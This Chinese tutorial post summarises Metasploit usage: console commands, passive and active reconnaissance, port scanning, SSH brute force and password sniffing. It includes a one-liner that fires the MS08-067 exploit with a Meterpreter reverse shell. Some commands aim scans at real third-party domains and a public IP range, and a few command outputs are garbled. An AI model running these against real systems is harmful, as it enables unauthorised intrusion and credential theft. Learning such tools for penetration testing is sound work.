【Metasploit总结】之【MSF常用命令及信息收集】

操作系统:kali Linux2020.3

smfconsole常用命令

msfconsole下可以直接使用终端命令,如ping等

msfdb start
# 启动msf数据库,msf数据库默认使用的postgresql的5432端口,新版本的postgresql是5433无法使用,需要到/etc/postgresql/13/main/postgresql.conf下修改为5432端口
msfconsole -q
# 启动msfconsole(-q为安静启动)
db_status
# 查看数据库状态,若显示no connect,先exit msfconsole,查看5432端口是否在侦听,如果在,尝试重启msfdb:msfdb stop,msfdb start;或初始化msfdb:msfdb reinit

help
# 帮助
search
# 搜索
use
# 载入模块
info
# 查看模块信息
back
# 返回

show option
# 查看模块选项
show missing
# 查看必须配置而未被配置的选项
set
# 设置某一选项
show advanced
# 高级选项
run -j
# 执行模块(-j为后台执行)

jobs
# 查看正在运行的任务
jobs -K
# 关闭所有任务
jobs -k 2
# 关闭指定(job id)任务

session
# 查看已经连接的会话(shell)
session -i 1
# 使用某shell(session id)
background
# 暂时退出shell

route add 10.1.1.1 255.255.255.0 3
# 内网代理(其sessionid为3)

load
# 加载插件(unload去除插件)

resource add conmand.rc
# 导入运行命令文件(每行一个msf命令),终端下使用msfconsole -r conmand.rc
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;set rhost 192.168.172.130;set target 34;set payload windows/meterpreter/reverse_tcp;run"
# 终端下直接使用一些列命令


save
# 保存配置信息
exit
# 退出

被动信息收集

whois

msf6 > whois baidu.com

IP查询

recon-ng

子域名与ip批量改查询工具。
recon-ng

Dig

msf6 > dig sina.com any @8.8.8.8
# 查询A、NS等记录
msf6 > dig sina.com A @8.8.8.8
# 查询A记录

反向查询SOA(起始授权记录):

msf6 > dig -x 47.95.164.112

枚举网站目录结构

首先尝试:

www.baidu.com/robots.txt
# 记录用于防止搜索的目录的文件

GoogleHack

  1. 查找是否开放文件列表浏览的目录页面:
intext:to parent directory insite:baidu.com
  1. 查找指定格式文件:
filetype:xls insite:baidu.com

dir_scanner

基于字典的猜解目录:

msf6 > use auxiliary/scanner/http/dir_scanner 
msf6 auxiliary(scanner/http/dir_scanner) > set THREADS 50
THREADS => 50
msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS www.baidu.com
RHOSTS => www.baidu.com
msf6 auxiliary(scanner/http/dir_scanner) > run

搜索网站中的E-mail地址

如目标邮件地址为@sina.com,可以利用search_email_collector进行收集(需要代理):

root@kali:~# proxychains msfconsole -q
msf6 > use auxiliary/gather/search_email_collector
msf6 auxiliary(gather/search_email_collector) > set domain sina.com
msf6 auxiliary(gather/search_email_collector) > run

利用GoogleHack搜索易存在注入的界面

insite:baidu.com inurl:?id=

主动信息收集

主机发现

主机发现模块位于auxiliary/scanner/discovery/下,常用的有:

auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep

arp_sweep

msf6 > use auxiliary/scanner/discovery/arp_sweep 
msf6 auxiliary(scanner/discovery/arp_sweep) > set threads 50
threads => 50
msf6 auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.172.0/24
rhosts => 192.168.172.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > run

[+] 192.168.172.1 appears to be up (VMware, Inc.).
[+] 192.168.172.2 appears to be up (VMware, Inc.).
[+] 192.168.172.131 appears to be up (VMware, Inc.).
[+] 192.168.172.136 appears to be up (VMware, Inc.).
[+] 192.168.172.254 appears to be up (VMware, Inc.).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

udp_sweep同理。

db_nmap

在msf中可以通过db_nmap使用nmap:

msf6 > db_nmap -PU 192.168.172.0/24
msf6 > db_nmap -O 192.168.172.131
msf6 > hosts
# 查看已扫描的主机

与直接nmap不同的是,db_nmap可以记录已扫描的主机。

查找僵尸机

  • auxiliary/scanner/ip/ipidseq模块
    找到僵尸机可以利用僵尸机进行扫描:
msf6 auxiliary(scanner/ip/ipidseq) > db_nmap -sV -PN -sI 192.168.172.130 192.168.172.133
# sI后跟僵尸机IP

端口扫描与服务类型探测

推荐使用nmap进行端口扫描。

portscan目录

  • auxiliary/scanner/portscan/模块目录:
msf6 > search portscan/

Matching Modules
================

   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/ack                         normal  No     TCP ACK Firewall Scanner
   1  auxiliary/scanner/portscan/ftpbounce                   normal  No     FTP Bounce Port Scanner
   2  auxiliary/scanner/portscan/syn                         normal  No     TCP SYN Port Scanner
   3  auxiliary/scanner/portscan/tcp                         normal  No     TCP Port Scanner
   4  auxiliary/scanner/portscan/xmas                        normal  No     TCP "XMas" Port Scanner


Interact with a module by name or index. For example info 4, use 4 or use auxiliary/scanner/portscan/xmas
  • ack:通过ACK扫描对端口进行探测;
  • ftpbounce:通过FTP bounce 攻击的原理对TCP 服务进行枚举,主要存在于一些旧的Solaris及FreeBSD 系统的FTP服务中。
  • syn:通过发送TCP SYN 标志的方式探测开放端口。
  • tcp:通过完整TCP连接判断端口是否开放。
  • xmas:更为隐蔽的扫描方式,通过发送FIN、PSH 和 URG 标志,能够避免一些高级的TCP 标记检测器的过滤。

一般情况推荐使用syn扫描。

db_nmap

端口状态
  • open:此端口正在被应用程序监听
  • closed:主机已响应,但没有应用程序监听
  • filtered:Nmap不能确定,可能被防火墙保护
  • unfiltered:仅在ACK扫描时,Nmap无法确定是否开放,可以使用其他类型进一步扫描。(如SYN、FIN等)
常用扫描参数与扫描选项
参数
  • sT:TCP 扫描
  • sS:TCP SYN扫描(隐蔽)
  • sA:TCP ACK扫描
  • sP:发送ICMP echo 请求探测主机是否存活,原理同Ping
  • sU:探测开放的UDP 端口
  • sF/sX/sN:发送一些标志位躲避防火墙检测
选项
  • Pn:扫描前不发送ICMP echo请求测试探测主机是否存活(将目标主机视为存活)
  • O:操作系统探测(基于TCP/IP协议栈的指纹特征)
  • F:快速扫描(只扫描nmap-services中列出的端口)
  • p<端口范围>:指定端口范围
服务信息探测

在知道目标主机存活之后,进一步探测服务版本信息,看是否是存在漏洞的版本:

msf6 > db_nmap -sV 192.168.172.131 -Pn

常见网络服务扫描

若已知目标开启了某服务,可对其进行进一步扫描。
可以搜索scanner/<服务名称>,如smb:search scanner/smb。

Telnet

  • auxiliary/scanner/telnet/telnet_version 模块
msf6 > use auxiliary/scanner/telnet/telnet_version 
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.172.0/24
rhosts => 192.168.172.131
msf6 auxiliary(scanner/telnet/telnet_version) > set thread 100
thread => 100
msf6 auxiliary(scanner/telnet/telnet_version) > run

SSH

  • auxiliary/scanner/ssh/ssh_version模块

Oracle 数据库服务

  • auxiliary/scanner/oracle/tnslsnr_version模块

开放代理探测

  • auxiliary/scanner/http/open_proxy模块

不清楚的选项可以使用show options查看说明。

msf6 auxiliary(scanner/http/open_proxy) > set multiports true 
multiports => true
msf6 auxiliary(scanner/http/open_proxy) > set rhosts 24.25.24.1-24.25.26.254
rhosts => 24.25.24.1-24.25.26.254
msf6 auxiliary(scanner/http/open_proxy) > set threads 100
threads => 100
msf6 auxiliary(scanner/http/open_proxy) > set verifyconnect true 
verifyconnect => true
msf6 auxiliary(scanner/http/open_proxy) >

Waf识别

httpwaf识别

msf6 > wafw00f www.baidu.com

口令破解与嗅探

口令破解

SSH
  • auxiliary/scanner/ssh/ssh_login 模块
msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.172.136
rhosts => 192.168.172.136
msf6 auxiliary(scanner/ssh/ssh_login) > set user root
user => rootauxiliary(scanner/ssh/ssh_login) > set userpass_file /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
pass_file => /pass.txt
# 也可以设置userpass_file,就可以不用设置user
msf6 auxiliary(scanner/ssh/ssh_login) > set threads 50
threads => 50
msf6 auxiliary(scanner/ssh/ssh_login) > run
SNMP
  • auxiliary/scanner/snmp/snmp_login模块


发现端口后也可以尝试利用hydra破解。

口令嗅探

  • auxiliary/sniffer/psnuffle模块

内网嗅探:

msf6 > use auxiliary/sniffer/psnuffle
msf6 auxiliary(sniffer/psnuffle) > run

漏洞扫描

扫描器

关于大型漏洞扫描器(如openvas、Nessus,AWVS,Appscan等),请参考以前的文章。

Nmap

脚本路径:

/usr/share/nmap/scripts

当你发现目标开放服务后,可以使用nmap对指定服务发现漏洞:

ls /usr/share/nmap/scripts | grep smb
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值